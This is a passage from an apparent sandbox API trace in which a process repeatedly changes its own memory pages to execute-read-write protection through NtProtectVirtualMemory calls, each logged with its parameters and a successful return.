BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.192] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.097] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.245] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.443] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.485] 